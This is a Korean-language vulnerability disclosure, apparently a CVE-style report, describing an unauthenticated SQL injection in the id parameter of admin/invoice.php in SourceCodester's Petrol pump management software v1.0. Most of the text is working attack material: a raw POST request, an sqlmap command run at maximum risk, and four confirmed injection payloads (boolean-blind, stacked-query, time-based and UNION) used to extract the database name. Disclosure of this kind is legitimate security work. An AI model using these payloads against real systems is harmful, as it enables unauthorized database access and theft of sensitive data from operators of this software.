
주유소 펌프 관리 소프트웨어 무료 다운로드 | SourceCodester
sourcecodester Petrol pump management software v1.0에서 SQL 인젝션 취약점이 발견되었습니다. admin\invoice.php 파일의 일부 알려지지 않은 기능에 영향을 미치는 높은 위험도로 평가되는 취약점으로, id 매개변수를 사용하여 악의적인 SQL 문을 구성해 민감한 정보를 획득함으로써 피해를 초래할 수 있습니다.
admin\invoice.php

여기서는 사용자 입력 $_POST['id']가 SQL 쿼리 문에 직접 연결되므로 SQL 인젝션 공격에 취약함을 알 수 있습니다.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
패킷을 저장하고 sqlmap 공격을 사용합니다.
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
패킷을 살펴보면 쿠키 값을 추가하지 않았습니다. 즉, 인증 없이 로그인하지 않고도 원격으로 공격을 시작할 수 있음을 보여줍니다.
이 페이로드는 time-based blind, boolean-based blind, stacked queries 및 UNION query 두 가지 인젝션 방법을 활용하여 데이터베이스 이름을 성공적으로 추출하는 것을 확인할 수 있습니다.